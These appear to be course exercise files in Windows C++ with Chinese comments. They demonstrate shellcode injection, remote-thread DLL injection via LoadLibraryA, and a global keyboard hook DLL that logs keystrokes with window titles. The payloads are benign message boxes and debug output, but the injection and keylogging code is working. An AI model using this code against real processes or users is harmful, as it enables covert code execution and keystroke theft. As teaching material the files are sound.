// 注入_shellcode注入.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include
bool injectShellcode( DWORD dwPid , const BYTE* pShellCode , DWORD dwSize ) ;
int _tmain(int argc, _TCHAR* argv[])
{
BYTE shellcode[] =
{
"\xE8\x00\x00\x00\x00" // call $+5
"\x58" // pop eax
"\x6A\x00" // push 0
"\x83\xC0\x17" // add eax,0x17
"\x50" // push eax
"\x83\xC0\x14" // add eax,0x14
"\x50" // push eax
"\x6A\x00" // push 0
"\xB8\x30\x88\x20\x74" // mov eax,MessageBoxA
"\xFF\xD0" // call eax
"\xC2\x04\x00" // ret 0x04
"来自shellcode的问候\0"
"大家好,我是shellcode!!!"
};
// 将MessageBoxA函数的地址写入到shellcode中.
*(DWORD*)( shellcode + 19 ) = (DWORD)&MessageBoxA;
DWORD dwPid;
printf( "输入要注入到的进程PID:" );
scanf_s( "%d[*]" , &dwPid );
// 注入设计好的shellcode
injectShellcode( dwPid , shellcode ,sizeof(shellcode));
return 0;
}
bool injectShellcode( DWORD dwPid , const BYTE* pShellCode , DWORD dwSize ) {
// shellcode注入的方式和DLL注入的方式差不多.
// 但是shellcode注入的要求比较高, 需要自己编写shellcode
// 注入步骤:
// 1. 在远程进程中开辟内存空间
// 2. 将shellcode写入到远程进程的内存空间中
// 3. 创建远程线程,将被写入到远程进程内存shellcode的首地址
// 作为线程回调函数的地址.
// 4. 等待线程退出
// 5. 销毁远程进程内存.
bool bRet = false;
HANDLE hProcess = 0;
HANDLE hRemoteThread = 0;
LPVOID pRemoteBuff = NULL;
DWORD dwWrite = 0 ;
// 打开进程
hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE ,/*创建线程和写内存权限*/
FALSE ,
dwPid /*进程ID*/
);
if( hProcess == NULL ) {
printf( "打开进程失败,可能由于本程序的权限太低,请以管理员身份运行再尝试\n" );
goto _EXIT;
}
// 1. 在远程进程上开辟内存空间
pRemoteBuff = VirtualAllocEx(
hProcess ,
NULL ,
64 * 1024 , /*大小:64Kb*/
MEM_COMMIT ,/*预定并提交*/
PAGE_EXECUTE_READWRITE/*可读可写可执行的属性*/
);
if( pRemoteBuff == NULL ) {
printf( "在远程进程上开辟空降失败\n" );
goto _EXIT;
}
// 2. 将DLL路径写入到新开的内存空间中
WriteProcessMemory(
hProcess ,
pRemoteBuff , /* 要写入的地址 */
pShellCode , /* 要写入的内容的地址 */
dwSize , /* 写入的字节数 */
&dwWrite /* 输出:函数实际写入的字节数 */
);
if( dwWrite != dwSize ) {
printf( "写入DLL路径失败\n" );
goto _EXIT;
}
//3. 创建远程线程,
// 远程线程创建成功后,DLL就会被加载,DLL被加载后DllMain函数
// 就会被执行,如果想要执行什么代码,就在DllMain中调用即可.
hRemoteThread = CreateRemoteThread(
hProcess ,
0 , 0 ,
(LPTHREAD_START_ROUTINE)pRemoteBuff , /* 线程回调函数 */
0 , /* 回调函数参数 */
0 , 0 );
// 等待远程线程退出.
// 退出了才释放远程进程的内存空间.
WaitForSingleObject( hRemoteThread , -1 );
bRet = true;
_EXIT:
// 释放远程进程的内存
VirtualFreeEx( hProcess , pRemoteBuff , 0 , MEM_RELEASE );
// 关闭进程句柄
CloseHandle( hProcess );
return bRet;
}
==========================
// 注入_远程线程注入.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include
bool injectDll( DWORD dwPid , const char* pszDllPath );
int _tmain(int argc, _TCHAR* argv[])
{
DWORD dwPid;
char szDllPath[ MAX_PATH ] = { "E:\\code\\课上代码\\核心编程_内存管理\\Debug\\testDll2.dll"};
printf( "输入要注入到的进程PID:" );
scanf_s( "%d[*]" , &dwPid );
printf( "输入要注入到的DLL:" );
//scanf_s( "%s" , szDllPath , MAX_PATH );
injectDll( dwPid , szDllPath );
return 0;
}
//
bool injectDll( DWORD dwPid , const char* pszDllPath ) {
/**
* 远程注入的目标: 将一个DLL注入到其它进程的地址空间中.
* 注入方法:
* 背景知识:
* 1. windwos中有一个创建远程线程的API. 这个API能够在
* 目标进程中创建一个线程. 在创建线程时,能够由自己指
* 定线程的回调函数, 但这个函数的地址必须在目标进程
* 的地址空间中. 线程被创建起来之后, 这个函数就会被
* 执行.
* 2. 当一个DLL被进程加载后, 操作系统会在物理内存中分配
* 一块空间来保存它, 当这个DLL再次被其它进程加载时,
* 系统不会再次分配物理内存来保存这个DLL,而是将这个DLL
* 所在的物理内存映射到新进程的虚拟地址空间中.
* 因此,系统DLL在每次开机之后,它们的加载地址都是不变的,
* 所以,所有进程的系统DLL的加载基址都是相同的,因为它们
* 的加载基址相同,故每一个API的地址都在任何进程中也都是
* 相同的.
* 使用CreateRemoteThread函数,在目标进程中创建线程.
* CreateRemoteThread需要指定线程回调函数,这个回调
* 函数只有一个参数, 而LoadLibrary这个系统API刚好也
* 只有一个参数.而LoadLibrary是一个系统DLL中的函数,
* 它在所有进程中的地址都是同一个, 正好为我们所用.
* 这样一来, 当我们创建远程线程,LoadLibrary就会被调
* 用,现在我们只需要给LoadLibrary函数传一个DLL路径
* 就成功了. 但这个字符串必须保存在目标进程的地址空间中.
* 因为,远程线程的回调函数LoadLibrary虽然在任何进程中
* 的地址都是同一个, 但是执行它的是其它进程,因此,它的
* 参数中用到的地址也必须是它所在进程的地址.
* 注入过程:
* 1. 使用VirtualAllocEx在目标进程中开辟内存空间.
* 2. 使用WriteProcessMemory将DLL路径写入到目标进程新
* 开的内存空间中.
* 3. 创建远程线程, 使用LoadLibrary函数作为线程的回调函数,
* 使用VirtualAllocEx开辟出的内存空间首地址作为回调函数的参数
* 4. 等待线程退出.
* 5. 销毁VirtualAllocEx开辟出来的内存空间
*/
bool bRet = false;
HANDLE hProcess = 0;
HANDLE hRemoteThread = 0;
LPVOID pRemoteBuff = NULL;
SIZE_T dwWrite = 0 ;
DWORD dwSize = 0;
// 打开进程
hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |PROCESS_VM_WRITE ,/*创建线程和写内存权限*/
FALSE ,
dwPid /*进程ID*/
);
if( hProcess == NULL ) {
printf( "打开进程失败,可能由于本程序的权限太低,请以管理员身份运行再尝试\n" );
goto _EXIT;
}
// 1. 在远程进程上开辟内存空间
pRemoteBuff = VirtualAllocEx( hProcess ,
NULL ,
64 * 1024 , /*大小:64Kb*/
MEM_COMMIT ,/*预定并提交*/
PAGE_EXECUTE_READWRITE/*可读可写可执行的属性*/
);
if( pRemoteBuff == NULL ) {
printf( "在远程进程上开辟空降失败\n" );
goto _EXIT;
}
// 2. 将DLL路径写入到新开的内存空间中
dwSize = strlen( pszDllPath ) + 1;
WriteProcessMemory( hProcess ,
pRemoteBuff, /* 要写入的地址 */
pszDllPath, /* 要写入的内容的地址 */
dwSize, /* 写入的字节数 */
&dwWrite /* 输出:函数实际写入的字节数 */
);
if( dwWrite != dwSize ) {
printf( "写入DLL路径失败\n" );
goto _EXIT;
}
//3. 创建远程线程,
// 远程线程创建成功后,DLL就会被加载,DLL被加载后DllMain函数
// 就会被执行,如果想要执行什么代码,就在DllMain中调用即可.
hRemoteThread = CreateRemoteThread(
hProcess ,
0 , 0 ,
(LPTHREAD_START_ROUTINE)LoadLibraryA , /* 线程回调函数 */
pRemoteBuff , /* 回调函数参数 */
0 , 0 );
// 等待远程线程退出.
// 退出了才释放远程进程的内存空间.
WaitForSingleObject( hRemoteThread , -1 );
bRet = true;
_EXIT:
// 释放远程进程的内存
VirtualFreeEx( hProcess , pRemoteBuff , 0 , MEM_RELEASE );
// 关闭进程句柄
CloseHandle( hProcess );
return bRet;
}
testDll2
#include
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
MessageBox(0, L"Dll被加载", L"DLL内部的弹窗", 0);
if(ul_reason_for_call == DLL_PROCESS_ATTACH)
{
}
return TRUE;
}
===================
// 注入_windwos消息HOOK注入.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include "../messageHookDll/messageHookDll.h"
#include
int _tmain(int argc, _TCHAR* argv[])
{
cb_installHook pfnInstallHook = NULL;
HMODULE hHookDll = LoadLibrary( L"messageHook.dll" );
if( hHookDll == NULL ) {
printf( "dll加载失败\n" );
return 0;
}
pfnInstallHook = GetProcAddress( hHookDll , FUNCTION_INSTALLHOOK );
if( pfnInstallHook == NULL ) {
printf( "获取dll导出函数失败\n" );
return 0;
}
pfnInstallHook( );
system( "pause" );
return 0;
}
messageHookDll.h
#ifdef MESSAGEHOOKDLL_EXPORTS
#define MESSAGEHOOKDLL_API extern"C" __declspec(dllexport)
#else
#define MESSAGEHOOKDLL_API extern"C" __declspec(dllimport)
#endif
#define FUNCTION_INSTALLHOOK "installHook"
#define FUNCTION_UNINSTALLHOOK "uninstallHook"
typedef int( __stdcall *cb_installHook )( );
typedef int( __stdcall *cb_uninstallHook )( );
// 安装钩子
MESSAGEHOOKDLL_API int installHook( );
// 卸载钩子
MESSAGEHOOKDLL_API int uninstallHook( ) ;
// messageHookDll.cpp : 定义 DLL 应用程序的导出函数。
//
#include "stdafx.h"
#include "messageHookDll.h"
------------------------------
// messageHookDll.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include
#include "messageHookDll.h"
#include
#include
HHOOK g_hHook;
HMODULE g_hModule;
LRESULT CALLBACK KeyboardProc( int code , WPARAM wParam , LPARAM lParam ) {
// 判断是否wParam与lParam都有键盘消息,
//是的话则执行打印操作
if( code == HC_ACTION ) {
// 将256个虚拟键的状态拷贝到指定的缓冲区中,
//如果成功则继续
BYTE KeyState[ 256 ] = { 0 };
if( GetKeyboardState( KeyState ) ) {
// 得到第16–23位,键盘虚拟码
UINT keyCode = ( lParam >> 16 ) & 0x00ff;
WCHAR wKeyCode = 0;
// 转换成ASCII码
ToAscii( (UINT)wParam ,keyCode ,KeyState ,(LPWORD)&wKeyCode , 0 );
// 获取前端窗口
TCHAR szWndTitle[ 512 ];
HWND hWnd = GetForegroundWindow( );
// 获取窗口标题.
GetWindowText( hWnd , szWndTitle , 512 );
// 将其打印出来
WCHAR szInfo[ 516 ] = { 0 };
swprintf_s( szInfo , _countof( szInfo ) , L">>>> [%s] : %c <<<<" , szWndTitle , (WCHAR)wKeyCode );
OutputDebugString( szInfo );
}
}
return CallNextHookEx( g_hHook , code , wParam , lParam );
}
MESSAGEHOOKDLL_API DWORD g_tid = 0;
// 安装钩子
MESSAGEHOOKDLL_API int installHook( ) {
g_hHook = SetWindowsHookEx(
WH_KEYBOARD , /* 要HOOK的消息类型 */
KeyboardProc , /* 钩子回调 */
g_hModule , /* 钩子回调函数所在的模块句柄,在这里使用的是本DLL的句柄 */
g_tid /* 要钩住的线程ID,为0时钩住所有线程 */
);
return g_hHook != NULL;
}
// 卸载钩子
MESSAGEHOOKDLL_API int uninstallHook( ) {
return UnhookWindowsHook( WH_KEYBOARD , KeyboardProc ) != 0;
}
BOOL APIENTRY DllMain( HMODULE hModule ,DWORD ul_reason_for_call ,LPVOID lpReserved)
{
switch( ul_reason_for_call ) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
{
g_hModule = hModule;
}
break;
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
// DLL被卸载时卸载钩子
// uninstallHook( );
MessageBox( NULL , L"DLL被卸载" , L"提示" , 0 );
break;
}
return TRUE;
}